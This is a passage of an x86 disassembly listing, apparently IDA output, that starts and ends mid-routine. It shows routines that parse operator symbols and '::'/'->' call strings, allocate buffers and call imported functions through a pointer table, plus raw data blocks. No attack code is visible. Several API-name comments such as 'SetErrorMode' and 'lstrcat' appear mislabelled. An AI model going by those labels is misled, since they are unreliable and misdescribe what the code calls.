[ebp+14h], eax call sub_41A8BB pop ecx mov ecx, [ebp+14h] mov edi, eax mov al, [ecx] cmp al, 7Eh mov ebx, edx jz short loc_41AD62 cmp al, 21h jz short loc_41AD62 call near ptr loc_41A7E8+1 push eax mov [ebp+0Ch], eax call sub_41A8BB pop ecx push dword ptr [ebp+0Ch] mov esi, eax mov [ebp-4], edx call dword ptr ds:10003008h mov ecx, [ebp+14h] loc_41AD62: ; CODE XREF: .data:0041AD3Cj ; .data:0041AD40j mov al, [ecx] mov [ebp+0Fh], al movsx eax, al cmp eax, 2Fh jg loc_41AE14 jz short loc_41ADEB sub eax, 21h jz short loc_41ADDC sub eax, 4 jz short loc_41ADEB dec eax jz short loc_41ADB6 sub eax, 4 jz short loc_41ADA6 dec eax jz short loc_41AD9C dec eax dec eax jnz loc_41AEA5 sub edi, esi sbb ebx, [ebp-4] jmp loc_41AEA5 ; --------------------------------------------------------------------------- loc_41AD9C: ; CODE XREF: .data:0041AD88j add edi, esi adc ebx, [ebp-4] jmp loc_41AEA5 ; --------------------------------------------------------------------------- loc_41ADA6: ; CODE XREF: .data:0041AD85j push dword ptr [ebp-4] push esi push ebx push edi call sub_41BEF0 jmp loc_41AEA1 ; --------------------------------------------------------------------------- loc_41ADB6: ; CODE XREF: .data:0041AD80j cmp byte ptr [ecx+1], 26h jnz short loc_41ADD2 or edi, ebx jz loc_41AE9E or esi, [ebp-4] jz loc_41AE9E jmp loc_41AE7B ; --------------------------------------------------------------------------- loc_41ADD2: ; CODE XREF: .data:0041ADBAj and edi, esi and ebx, [ebp-4] jmp loc_41AEA5 ; --------------------------------------------------------------------------- loc_41ADDC: ; CODE XREF: .data:0041AD78j xor eax, eax or edi, ebx jnz loc_41AEA0 jmp loc_41AE7D ; --------------------------------------------------------------------------- loc_41ADEB: ; CODE XREF: .data:0041AD73j ; .data:0041AD7Dj mov eax, esi or eax, [ebp-4] jnz short loc_41ADF8 xor eax, eax xor edx, edx jmp short loc_41AE05 ; --------------------------------------------------------------------------- loc_41ADF8: ; CODE XREF: .data:0041ADF0j push dword ptr [ebp-4] push esi push ebx push edi call sub_41BE10 mov edi, ecx loc_41AE05: ; CODE XREF: .data:0041ADF6j cmp byte ptr [ebp+0Fh], 2Fh jz loc_41AEA1 jmp loc_41AEA5 ; --------------------------------------------------------------------------- loc_41AE14: ; CODE XREF: .data:0041AD6Dj sub eax, 3Ch jz short loc_41AE80 dec eax jz short loc_41AE72 dec eax jz short loc_41AE52 sub eax, 20h jz short loc_41AE4B sub eax, 1Eh jz short loc_41AE33 dec eax dec eax jnz short loc_41AEA5 not edi not ebx jmp short loc_41AEA5 ; --------------------------------------------------------------------------- loc_41AE33: ; CODE XREF: .data:0041AE27j cmp byte ptr [ecx+1], 7Ch jnz short loc_41AE44 or edi, ebx jnz short loc_41AE7B or esi, [ebp-4] jnz short loc_41AE7B jmp short loc_41AE9E ; --------------------------------------------------------------------------- loc_41AE44: ; CODE XREF: .data:0041AE37j or edi, esi or ebx, [ebp-4] jmp short loc_41AEA5 ; --------------------------------------------------------------------------- loc_41AE4B: ; CODE XREF: .data:0041AE22j xor edi, esi xor ebx, [ebp-4] jmp short loc_41AEA5 ; --------------------------------------------------------------------------- loc_41AE52: ; CODE XREF: .data:0041AE1Dj cmp byte ptr [ecx+1], 3Eh jnz short loc_41AE65 mov eax, edi mov edx, ebx mov ecx, esi call sub_41BF50 jmp short loc_41AEA1 ; --------------------------------------------------------------------------- loc_41AE65: ; CODE XREF: .data:0041AE56j cmp ebx, [ebp-4] jl short loc_41AE9E jg short loc_41AE7B cmp edi, esi jbe short loc_41AE9E jmp short loc_41AE7B ; --------------------------------------------------------------------------- loc_41AE72: ; CODE XREF: .data:0041AE1Aj cmp edi, esi jnz short loc_41AE9E cmp ebx, [ebp-4] jnz short loc_41AE9E loc_41AE7B: ; CODE XREF: .data:0041ADCDj ; .data:0041AE3Bj ... xor eax, eax loc_41AE7D: ; CODE XREF: .data:0041ADE6j inc eax jmp short loc_41AEA0 ; --------------------------------------------------------------------------- loc_41AE80: ; CODE XREF: .data:0041AE17j cmp byte ptr [ecx+1], 3Ch jnz short loc_41AE93 mov eax, edi mov edx, ebx mov ecx, esi call sub_41BF30 jmp short loc_41AEA1 ; --------------------------------------------------------------------------- loc_41AE93: ; CODE XREF: .data:0041AE84j cmp ebx, [ebp-4] jg short loc_41AE9E jl short loc_41AE7B cmp edi, esi jb short loc_41AE7B loc_41AE9E: ; CODE XREF: .data:0041ADBEj ; .data:0041ADC7j ... xor eax, eax loc_41AEA0: ; CODE XREF: .data:0041ADE0j ; .data:0041AE7Ej cdq loc_41AEA1: ; CODE XREF: .data:0041ADB1j ; .data:0041AE09j ... mov edi, eax mov ebx, edx loc_41AEA5: ; CODE XREF: .data:0041AD8Cj ; .data:0041AD97j ... push ebx push edi lea eax, [ebp-8Ch] call sub_41A9E6 pop ecx pop ecx lea edi, [ebp-8Ch] call near ptr loc_41A824+2 push dword ptr [ebp-0Ch] mov esi, ds:10003008h call esi ; SetErrorMode push dword ptr [ebp+14h] call esi ; SetErrorMode pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 80h inc dword ptr [eax] mov edx, [eax] push esi lea esi, [ebp-80h] loc_41AEE5: ; CODE XREF: .data:0041AF1Fj mov cl, [edx] cmp cl, 61h jl short loc_41AEF1 cmp cl, 66h jle short loc_41AF19 loc_41AEF1: ; CODE XREF: .data:0041AEEAj cmp cl, 41h jl short loc_41AEFB cmp cl, 46h jle short loc_41AF19 loc_41AEFB: ; CODE XREF: .data:0041AEF4j cmp cl, 30h jl short loc_41AF05 cmp cl, 39h jle short loc_41AF19 loc_41AF05: ; CODE XREF: .data:0041AEFEj cmp cl, 58h jz short loc_41AF19 cmp cl, 2Dh jz short loc_41AF19 cmp cl, 78h jz short loc_41AF19 cmp cl, 7Ch jnz short loc_41AF21 loc_41AF19: ; CODE XREF: .data:0041AEEFj ; .data:0041AEF9j ... mov [esi], cl inc esi inc edx mov [eax], edx jmp short loc_41AEE5 ; --------------------------------------------------------------------------- loc_41AF21: ; CODE XREF: .data:0041AF17j dec dword ptr [eax] lea eax, [ebp-80h] push eax mov byte ptr [esi], 0 call sub_41A8BB pop ecx pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF33 proc near ; CODE XREF: .data:0041ABE2p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx xor esi, esi call sub_41A7C9 mov [ebp+var_14], eax mov [ebp+var_18], eax call sub_41A7C9 mov [ebp+var_24], eax call near ptr loc_41A7E8+1 mov [ebp+var_2C], eax mov [ebp+var_8], eax loc_41AF6A: ; CODE XREF: sub_41AF33+21Cj mov eax, [ebp+var_1C] mov edi, [ebp+var_8] mov dl, [edi] mov [ebp+var_28], eax movsx eax, dl mov ecx, eax sub ecx, ebx jz short loc_41AFD1 sub ecx, 23h jz short loc_41AFC9 sub ecx, 5 jz short loc_41AFB3 dec ecx jz short loc_41AFA4 sub ecx, 16h jnz loc_41B0CB mov [ebp+var_1C], 3 mov [ebp+var_4], 1 jmp short loc_41AFD5 ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41AF33+56j mov [ebp+var_1C], 2 loc_41AFAB: ; CODE XREF: sub_41AF33+94j mov [ebp+var_4], ebx mov [ebp+var_10], ebx jmp short loc_41AFD5 ; --------------------------------------------------------------------------- loc_41AFB3: ; CODE XREF: sub_41AF33+53j xor eax, eax cmp [ebp+var_20], 3 mov [ebp+var_1C], 1 setz al inc eax mov [ebp+var_C], eax jmp short loc_41AFAB ; --------------------------------------------------------------------------- loc_41AFC9: ; CODE XREF: sub_41AF33+4Ej mov [ebp+var_1C], ebx mov [ebp+var_20], ebx jmp short loc_41AFD5 ; --------------------------------------------------------------------------- loc_41AFD1: ; CODE XREF: sub_41AF33+49j or [ebp+var_1C], 0FFFFFFFFh loc_41AFD5: ; CODE XREF: sub_41AF33+6Fj ; sub_41AF33+7Ej ... mov eax, [ebp+var_28] sub eax, ebx jz short loc_41AFF1 dec eax jnz loc_41B0BD mov eax, [ebp+var_C] mov [esi+814h], eax jmp loc_41B0BD ; --------------------------------------------------------------------------- loc_41AFF1: ; CODE XREF: sub_41AF33+A7j cmp esi, ebx mov eax, [ebp+var_18] mov byte ptr [eax], 0 jnz short loc_41B016 push 14A4h push 40h call dword ptr ds:10003000h mov esi, eax mov [esi+810h], ebx mov [esi+814h], ebx loc_41B016: ; CODE XREF: sub_41AF33+C6j mov ecx, [ebp+var_20] lea eax, [esi+8] lea edi, [esi+408h] mov [esi], ecx sub ecx, ebx mov byte ptr [eax], 0 mov byte ptr [edi], 0 mov [esi+808h], ebx mov [esi+80Ch], ebx mov [esi+4], ebx jz short loc_41B05C dec ecx jz short loc_41B046 dec ecx jz short loc_41B050 dec ecx jnz short loc_41B0BD loc_41B046: ; CODE XREF: sub_41AF33+10Bj push [ebp+var_24] push eax call dword ptr ds:1000300Ch loc_41B050: ; CODE XREF: sub_41AF33+10Ej push [ebp+var_14] push edi call dword ptr ds:1000300Ch jmp short loc_41B0BD ; --------------------------------------------------------------------------- loc_41B05C: ; CODE XREF: sub_41AF33+108j mov eax, [ebp+var_14] cmp [ebp+var_18], eax jz short loc_41B0BD push esi xor edi, edi call dword ptr ds:10003008h push [ebp+var_14] call sub_41A8BB mov esi, eax cmp esi, ebx pop ecx jz short loc_41B0BD loc_41B07C: ; CODE XREF: sub_41AF33+159j mov eax, [esi+14A0h] cmp eax, ebx jz short loc_41B08E mov edi, esi mov esi, eax cmp esi, ebx jnz short loc_41B07C loc_41B08E: ; CODE XREF: sub_41AF33+151j cmp edi, ebx jz short loc_41B098 mov [edi+14A0h], ebx loc_41B098: ; CODE XREF: sub_41AF33+15Dj mov eax, [esi+810h] test al, 8 jz short loc_41B0B4 push esi call loc_41AADA mov esi, eax and dword ptr [esi+810h], 0FFFFFFF5h pop ecx jmp short loc_41B0BD ; --------------------------------------------------------------------------- loc_41B0B4: ; CODE XREF: sub_41AF33+16Dj or eax, 2 mov [esi+810h], eax loc_41B0BD: ; CODE XREF: sub_41AF33+AAj ; sub_41AF33+B9j ... mov eax, [ebp+var_14] inc [ebp+var_8] mov [ebp+var_18], eax jmp loc_41B14B ; --------------------------------------------------------------------------- loc_41B0CB: ; CODE XREF: sub_41AF33+5Bj mov ecx, [ebp+var_1C] sub ecx, ebx jz loc_41B3CB dec ecx jz loc_41B1FB dec ecx jz loc_41B1F8 dec ecx jnz loc_41B43A sub eax, 21h jz short loc_41B139 sub eax, 42h jz short loc_41B134 dec eax dec eax jz short loc_41B11A sub eax, 9 jz short loc_41B116 sub eax, 4 jz short loc_41B112 dec eax jz short loc_41B10E dec eax dec eax jnz short loc_41B13C push 40h jmp short loc_41B11C ; --------------------------------------------------------------------------- loc_41B10E: ; CODE XREF: sub_41AF33+1D1j push 10h jmp short loc_41B11C ; --------------------------------------------------------------------------- loc_41B112: ; CODE XREF: sub_41AF33+1CEj push 4 jmp short loc_41B11C ; --------------------------------------------------------------------------- loc_41B116: ; CODE XREF: sub_41AF33+1C9j push 8 jmp short loc_41B11C ; --------------------------------------------------------------------------- loc_41B11A: ; CODE XREF: sub_41AF33+1C4j push 20h loc_41B11C: ; CODE XREF: sub_41AF33+1D9j ; sub_41AF33+1DDj ... pop eax loc_41B11D: ; CODE XREF: sub_41AF33+204j xor ecx, ecx inc ecx cmp [ebp+var_4], ecx jnz loc_41B1E8 or [esi+810h], eax jmp loc_41B1F0 ; --------------------------------------------------------------------------- loc_41B134: ; CODE XREF: sub_41AF33+1C0j xor eax, eax inc eax jmp short loc_41B11D ; --------------------------------------------------------------------------- loc_41B139: ; CODE XREF: sub_41AF33+1BBj neg [ebp+var_4] loc_41B13C: ; CODE XREF: sub_41AF33+1D5j ; sub_41AF33+2C0j ... mov eax, [ebp+var_14] mov edi, [ebp+var_8] mov [ebp+var_18], eax xor ebx, ebx loc_41B147: ; CODE XREF: sub_41AF33+50Fj inc edi mov [ebp+var_8], edi loc_41B14B: ; CODE XREF: sub_41AF33+193j cmp [ebp+var_1C], 0FFFFFFFFh jnz loc_41AF6A push [ebp+var_2C] mov edi, ds:10003008h call edi ; lstrcat push [ebp+var_14] call edi ; lstrcat push [ebp+var_24] call edi ; lstrcat cmp [esi+80Ch], ebx jnz loc_41B4E2 mov eax, [esi] dec eax jz loc_41B465 dec eax jz loc_41B447 dec eax jnz loc_41B4E2 lea ebx, [esi+8] push ebx call sub_41A8BB mov edi, eax test edi, edi pop ecx mov [esi+808h], edi jz loc_41B4DE and dword ptr [esi+850h], 0 push ebx call sub_41A7D8 and dword ptr [esi+83Ch], 0 mov [esi+84Ch], eax xor eax, eax inc eax mov [esi+848h], eax mov [esi+838h], eax lea eax, [esi+408h] push eax call sub_41A8BB pop ecx pop ecx mov ecx, [edi] mov eax, [ecx+eax*4] jmp loc_41B45D ; --------------------------------------------------------------------------- loc_41B1E8: ; CODE XREF: sub_41AF33+1F0j not eax and [esi+810h], eax loc_41B1F0: ; CODE XREF: sub_41AF33+1FCj mov [ebp+var_4], ecx jmp loc_41B13C ; --------------------------------------------------------------------------- loc_41B1F8: ; CODE XREF: sub_41AF33+1ABj mov [ebp+var_C], ebx loc_41B1FB: ; CODE XREF: sub_41AF33+1A4j add eax, 0FFFFFFDEh xor ebx, ebx cmp eax, 55h ja loc_41B13C movzx eax, byte ptr [eax+10001F65h] jmp dword ptr ds:10001F09h[eax*4] ; --------------------------------------------------------------------------- db 8Bh dd 81486h, 0F4453B00h, 4589037Eh, 0FC6583F4h, 0F0658300h dd 0FF0AE900h, 6583FFFFh, 658300FCh, 45FF00F0h, 0FEFAE9F4h dd 45C7FFFFh, 1FCh, 0FEEEE900h, 4D83FFFFh, 0E5E9FFFCh dd 33FFFFFEh, 0F44D8BC0h, 8305E1C1h, 8DFFFC7Dh, 8789313Ch dd 818h, 48B0B74h, 307885h, 7FC08510h, 40C03303h, 1FC7D83h dd 8288789h, 0C750000h, 0E8F8458Dh, 0FFFFFC44h, 0FC458940h dd 89FC458Bh, 81C87h, 0F4458B00h, 0C141488Dh, 0C03305E1h dd 89310489h, 82C87h, 30878900h, 85000008h, 7D840FDBh dd 83FFFFFEh, 7500F07Dh, 0F4458B22h, 8D05E0C1h, 82C30BCh dd 78B0000h, 7EFFF883h, 19F88305h, 0FF50077Eh, 300815h dd 831F8910h, 7501F07Dh, 0F4458B0Dh, 8905E0C1h, 830309Ch dd 45FF0000h, 0FE3AE9F0h, 0C033FFFFh, 0FF4FE940h, 26AFFFFh dd 36A0EEBh, 56A0AEBh, 46A06EBh, 66A02EBh, 0FF37E958h dd 458DFFFFh, 0FBAAE8F8h, 0D88BFFFFh, 0BFB8343h, 0C383857Dh dd 8D80EB0Ah, 95E8F845h, 8BFFFFFBh, 70E943D8h, 83FFFFFFh dd 0F00F07Dh, 0FFFDEB85h, 0F84DFFFFh, 0FFF470E8h, 8DD88BFFh dd 71E8F845h, 52FFFFFBh, 0E8C38B50h, 0FFFFF67Ah, 44E95959h dd 8BFFFFFFh, 7D8BEC45h, 0F8A47F8h, 7D89CA3Ah, 380575F8h dd 10750157h, 0C74C984h, 175CA3Ah, 880F8A47h, 0E1EB4008h dd 0C6EC75FFh, 35E80000h, 59FFFFF4h, 0CE9D88Bh, 83FFFFFFh dd 0CE9FFCBh, 6AFFFFFFh, 6A0EEB15h, 6A0AEB16h, 6A06EB17h dd 6A02EB18h, 0F4E95B19h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_41B3CB: ; CODE XREF: sub_41AF33+19Dj cmp dl, 2Ah jz short loc_41B42E cmp dl, 2Dh jz short loc_41B3DF cmp dl, 3Ah jnz short loc_41B43A cmp dl, 2Dh jnz short loc_41B3F0 loc_41B3DF: ; CODE XREF: sub_41AF33+4A0j lea eax, [edi+1] cmp byte ptr [eax], 3Eh jnz short loc_41B3F0 mov [ebp+var_20], 3 jmp short loc_41B404 ; --------------------------------------------------------------------------- loc_41B3F0: ; CODE XREF: sub_41AF33+4AAj ; sub_41AF33+4B2j lea eax, [edi+1] cmp byte ptr [eax], 3Ah jnz short loc_41B43A cmp dl, 2Dh jz short loc_41B43A mov [ebp+var_20], 1 loc_41B404: ; CODE XREF: sub_41AF33+4BBj mov [ebp+var_8], eax mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jbe short loc_41B423 push [ebp+var_14] mov byte ptr [eax], 0 push [ebp+var_24] call dword ptr ds:1000300Ch jmp loc_41B13C ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41AF33+4DAj mov eax, [ebp+var_24] mov byte ptr [eax], 0 jmp loc_41B13C ; --------------------------------------------------------------------------- loc_41B42E: ; CODE XREF: sub_41AF33+49Bj mov [ebp+var_20], 2 jmp loc_41B13C ; --------------------------------------------------------------------------- loc_41B43A: ; CODE XREF: sub_41AF33+1B2j ; sub_41AF33+4A5j ... mov eax, [ebp+var_18] inc [ebp+var_18] mov [eax], dl jmp loc_41B147 ; --------------------------------------------------------------------------- loc_41B447: ; CODE XREF: sub_41AF33+24Dj lea eax, [esi+408h] cmp byte ptr [eax], 0 jz loc_41B4E2 push eax call sub_41A8BB pop ecx loc_41B45D: ; CODE XREF: sub_41AF33+2B0j mov [esi+80Ch], eax jmp short loc_41B4E2 ; --------------------------------------------------------------------------- loc_41B465: ; CODE XREF: sub_41AF33+246j lea edi, [esi+8] cmp byte ptr [edi], 0 jnz short loc_41B47E lea eax, [esi+408h] push eax call sub_41A8BB pop ecx cmp eax, ebx jmp short loc_41B4D6 ; --------------------------------------------------------------------------- loc_41B47E: ; CODE XREF: sub_41AF33+538j push edi call dword ptr ds:10003018h cmp eax, ebx mov [esi+808h], eax jnz short loc_41B4A0 push edi call dword ptr ds:1000301Ch cmp eax, ebx mov [esi+808h], eax jz short loc_41B4DE loc_41B4A0: ; CODE XREF: sub_41AF33+55Aj mov edi, ds:10003020h lea ebx, [esi+408h] push ebx push dword ptr [esi+808h] call edi ; lstrcat test eax, eax mov [esi+80Ch], eax jnz short loc_41B4E2 push 1000305Ch push ebx call dword ptr ds:10003024h push ebx push dword ptr [esi+808h] call edi ; lstrcat test eax, eax loc_41B4D6: ; CODE XREF: sub_41AF33+549j mov [esi+80Ch], eax jnz short loc_41B4E2 loc_41B4DE: ; CODE XREF: sub_41AF33+26Ej ; sub_41AF33+56Bj or dword ptr [esi+4], 0FFFFFFFFh loc_41B4E2: ; CODE XREF: sub_41AF33+23Dj ; sub_41AF33+254j ... pop edi mov eax, esi pop esi pop ebx leave retn sub_41AF33 endp ; --------------------------------------------------------------------------- db 93h, 1Dh, 0 dd 1C6210h, 1C6E10h, 1C5210h, 1D6710h, 1D1A10h, 1DE310h dd 1DD310h, 1DD710h, 1DDF10h, 1D3210h, 1D2210h, 1D3A10h dd 1D2A10h, 1DDB10h, 1D4210h, 1DCB10h, 1D2E10h, 1C7710h dd 1D3610h, 1C3710h, 1D5710h, 1B5C10h, 16160010h, 16000116h dd 3160216h, 4160504h, 2 dup(4040404h), 16161604h, 16161616h dd 8071606h, 160A1609h, 0D0C160Bh, 160E1616h, 11100F16h dd 16131216h, 16161616h, 141616h, 8071606h, 160A1609h dd 0D0C160Bh, 160E1616h, 11101516h db 16h, 12h, 13h ; =============== S U B R O U T I N E ======================================= sub_41B59B proc near ; CODE XREF: .data:0041ABF1p push ebx xor ebx, ebx cmp [edi+814h], ebx jl short loc_41B5D9 push esi lea esi, [edi+820h] loc_41B5AD: ; CODE XREF: sub_41B59B+3Bj cmp dword ptr [esi], 0 jnz short loc_41B5CC cmp dword ptr [esi-4], 0FFFFFFFFh jnz short loc_41B5CC mov eax, [esi-8] push dword ptr ds:10003078h[eax*4] push 40h call dword ptr ds:10003000h mov [esi], eax loc_41B5CC: ; CODE XREF: sub_41B59B+15j ; sub_41B59B+1Bj inc ebx add esi, 20h cmp ebx, [edi+814h] jle short loc_41B5AD pop esi loc_41B5D9: ; CODE XREF: sub_41B59B+9j pop ebx retn sub_41B59B endp ; =============== S U B R O U T I N E ======================================= sub_41B5DB proc near ; CODE XREF: .data:0041ABF7p var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov ecx, [esp+4+arg_0] xor eax, eax cmp [ecx+814h], eax push ebx setnle al push ebp push esi push edi mov [esp+14h+var_4], eax loc_41B5F3: ; CODE XREF: sub_41B5DB+16Fj ; sub_41B5DB+178j mov eax, [esp+14h+var_4] mov ecx, [esp+14h+arg_0] shl eax, 5 lea esi, [eax+ecx+818h] mov eax, [esi+14h] test eax, eax jz short loc_41B635 push 1Ah pop ecx cmp eax, ecx jz short loc_41B635 cmp eax, 0FFFFFFFFh jnz short loc_41B61F call near ptr loc_41A7E8+1 jmp short loc_41B640 ; --------------------------------------------------------------------------- loc_41B61F: ; CODE XREF: sub_41B5DB+3Bj test eax, eax jle short loc_41B630 cmp eax, 19h jg short loc_41B630 dec eax call sub_41A863 jmp short loc_41B640 ; --------------------------------------------------------------------------- loc_41B630: ; CODE XREF: sub_41B5DB+46j ; sub_41B5DB+4Bj mov [esi+14h], ecx jmp short loc_41B640 ; --------------------------------------------------------------------------- loc_41B635: ; CODE XREF: sub_41B5DB+2Fj ; sub_41B5DB+36j push 1000305Bh call sub_41A7D8 pop ecx loc_41B640: ; CODE XREF: sub_41B5DB+42j ; sub_41B5DB+53j ... cmp dword ptr [esi+4], 0FFFFFFFFh mov ebp, eax lea edi, [esi+8] jnz short loc_41B64F mov ebx, [edi] jmp short loc_41B651 ; --------------------------------------------------------------------------- loc_41B64F: ; CODE XREF: sub_41B5DB+6Ej mov ebx, edi loc_41B651: ; CODE XREF: sub_41B5DB+72j mov eax, [esi] and dword ptr [esi+1Ch], 0 test eax, eax jz loc_41B724 cmp eax, 1 jz loc_41B71C cmp eax, 2 jz loc_41B70E cmp eax, 3 jz loc_41B700 jle loc_41B727 cmp eax, 5 jle short loc_41B6AF cmp eax, 6 jnz loc_41B727 push ebp call dword ptr ds:1000302Ch test eax, eax jle loc_41B727 push ebp call sub_41A8BB pop ecx mov esi, eax call sub_41BBF8 mov [edi], eax jmp short loc_41B727 ; --------------------------------------------------------------------------- loc_41B6AF: ; CODE XREF: sub_41B5DB+A8j mov eax, ds:10004034h add eax, eax push eax push 40h call dword ptr ds:10003000h mov edi, eax mov eax, ds:10004034h push eax push edi push eax push ebp push 0 push 0 mov [esi+1Ch], edi call dword ptr ds:10003028h cmp dword ptr [esi], 5 jnz short loc_41B6FC push 10h push 40h call dword ptr ds:10003000h push eax mov [esi+1Ch], eax push edi mov [ebx], eax call dword ptr ds:10003050h push edi call dword ptr ds:10003008h jmp short loc_41B727 ; --------------------------------------------------------------------------- loc_41B6FC: ; CODE XREF: sub_41B5DB+FFj mov [ebx], edi jmp short loc_41B727 ; --------------------------------------------------------------------------- loc_41B700: ; CODE XREF: sub_41B5DB+99j push ebp call sub_41A7D8 mov [esi+1Ch], eax loc_41B709: ; CODE XREF: sub_41B5DB+147j pop ecx mov [ebx], eax jmp short loc_41B727 ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B5DB+90j push ebp call sub_41A8BB pop ecx mov [ebx], eax mov [ebx+4], edx jmp short loc_41B727 ; --------------------------------------------------------------------------- loc_41B71C: ; CODE XREF: sub_41B5DB+87j push ebp call sub_41A8BB jmp short loc_41B709 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B5DB+7Ej and dword ptr [edi], 0 loc_41B727: ; CODE XREF: sub_41B5DB+9Fj ; sub_41B5DB+ADj ... push ebp call dword ptr ds:10003008h cmp [esp+14h+var_4], 0 jz short loc_41B758 mov eax, [esp+14h+arg_0] mov ecx, [esp+14h+var_4] cmp ecx, [eax+814h] jnz short loc_41B74F and [esp+14h+var_4], 0 jmp loc_41B5F3 ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B5DB+168j inc [esp+14h+var_4] jmp loc_41B5F3 ; --------------------------------------------------------------------------- loc_41B758: ; CODE XREF: sub_41B5DB+158j pop edi pop esi pop ebp pop ebx pop ecx retn sub_41B5DB endp ; =============== S U B R O U T I N E ======================================= sub_41B75E proc near ; CODE XREF: .data:0041ACAAp mov eax, [ecx+814h] test eax, eax jl short locret_41B793 push esi lea esi, [eax+41h] shl esi, 5 push edi add esi, ecx lea edi, [eax+1] loc_41B775: ; CODE XREF: sub_41B75E+31j mov eax, [esi] test eax, eax jz short loc_41B78B cmp dword ptr [esi-4], 0FFFFFFFFh jnz short loc_41B78B push eax call dword ptr ds:10003008h and dword ptr [esi], 0 loc_41B78B: ; CODE XREF: sub_41B75E+1Bj ; sub_41B75E+21j sub esi, 20h dec edi jnz short loc_41B775 pop edi pop esi locret_41B793: ; CODE XREF: sub_41B75E+8j retn sub_41B75E endp ; =============== S U B R O U T I N E ======================================= sub_41B794 proc near ; CODE XREF: .data:0041AC3Fp ; .data:0041AC8Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push ebx mov ebx, [eax+814h] mov [esp+8+var_4], ebx push ebp add ebx, 41h push esi shl ebx, 5 push edi add ebx, eax loc_41B7AF: ; CODE XREF: sub_41B794+163j cmp dword ptr [ebx-4], 0FFFFFFFFh jnz short loc_41B7B9 mov esi, [ebx] jmp short loc_41B7BB ; --------------------------------------------------------------------------- loc_41B7B9: ; CODE XREF: sub_41B794+1Fj mov esi, ebx loc_41B7BB: ; CODE XREF: sub_41B794+23j call sub_41A7C9 mov edi, eax mov eax, [ebx-8] xor ebp, ebp sub eax, ebp jz loc_41B89C dec eax jz loc_41B895 dec eax jz loc_41B885 dec eax jz short loc_41B85C dec eax jz short loc_41B846 dec eax jz short loc_41B803 dec eax jnz loc_41B8A8 push dword ptr [ebx] loc_41B7EF: ; CODE XREF: sub_41B794+103j push 10003058h push edi call dword ptr ds:10003044h add esp, 0Ch jmp loc_41B8A8 ; --------------------------------------------------------------------------- loc_41B803: ; CODE XREF: sub_41B794+50j mov eax, ds:10004034h add eax, eax push eax push 40h call dword ptr ds:10003000h mov ebp, eax mov eax, ds:10004034h add eax, eax push eax push ebp push dword ptr [esi] call dword ptr ds:1000304Ch mov eax, ds:10004034h xor ecx, ecx push ecx push ecx push eax push edi push eax push ebp push ecx push ecx call dword ptr ds:10003030h push ebp call dword ptr ds:10003008h loc_41B842: ; CODE XREF: sub_41B794+EFj xor ebp, ebp jmp short loc_41B8A8 ; --------------------------------------------------------------------------- loc_41B846: ; CODE XREF: sub_41B794+4Dj mov eax, ds:10004034h push ebp push ebp push eax push edi push eax push dword ptr [esi] push ebp push ebp call dword ptr ds:10003030h jmp short loc_41B8A8 ; --------------------------------------------------------------------------- loc_41B85C: ; CODE XREF: sub_41B794+4Aj push dword ptr [esi] call dword ptr ds:1000302Ch mov ebp, eax mov eax, ds:10004034h cmp ebp, eax jl short loc_41B872 lea ebp, [eax-1] loc_41B872: ; CODE XREF: sub_41B794+D9j lea eax, [ebp+1] push eax push dword ptr [esi] push edi call dword ptr ds:10003010h mov byte ptr [edi+ebp], 0 jmp short loc_41B842 ; --------------------------------------------------------------------------- loc_41B885: ; CODE XREF: sub_41B794+43j push dword ptr [esi+4] mov eax, edi push dword ptr [esi] call sub_41A9E6 pop ecx pop ecx jmp short loc_41B8A8 ; --------------------------------------------------------------------------- loc_41B895: ; CODE XREF: sub_41B794+3Cj push dword ptr [esi] jmp loc_41B7EF ; --------------------------------------------------------------------------- loc_41B89C: ; CODE XREF: sub_41B794+35j push 1000305Bh push edi call dword ptr ds:1000300Ch loc_41B8A8: ; CODE XREF: sub_41B794+53j ; sub_41B794+6Aj ... mov eax, [ebx+14h] cmp eax, ebp jz short loc_41B8C4 mov ecx, [esp+14h+arg_0] cmp dword ptr [ecx], 2 jnz short loc_41B8BD cmp [ebx-4], ebp jle short loc_41B8C4 loc_41B8BD: ; CODE XREF: sub_41B794+122j push eax call dword ptr ds:10003008h loc_41B8C4: ; CODE XREF: sub_41B794+119j ; sub_41B794+127j mov eax, [ebx+10h] cmp eax, ebp jz short loc_41B8E5 cmp eax, 0FFFFFFFFh jnz short loc_41B8D7 call near ptr loc_41A824+2 jmp short loc_41B8E5 ; --------------------------------------------------------------------------- loc_41B8D7: ; CODE XREF: sub_41B794+13Aj cmp eax, ebp jle short loc_41B8E5 dec eax push edi push eax call sub_41A888 pop ecx pop ecx loc_41B8E5: ; CODE XREF: sub_41B794+135j ; sub_41B794+141j ... push edi call dword ptr ds:10003008h dec [esp+14h+var_4] sub ebx, 20h cmp [esp+14h+var_4], ebp jge loc_41B7AF pop edi pop esi pop ebp pop ebx pop ecx retn sub_41B794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B903 proc near ; CODE XREF: .data:0041AC16p arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0 push ebx push edi push esi mov edi, ds:10004010h mov esi, [ebp+arg_0] xor ebx, ebx cmp edi, ebx jz short loc_41B94B test byte ptr [esi+810h], 10h jnz short loc_41B94B push ebp mov ds:1000401Ch, esp cmp ds:10004020h, ebx jnz short loc_41B945 mov eax, 10000h call sub_41BF80 mov ds:10004020h, esp jmp short loc_41B94B ; --------------------------------------------------------------------------- loc_41B945: 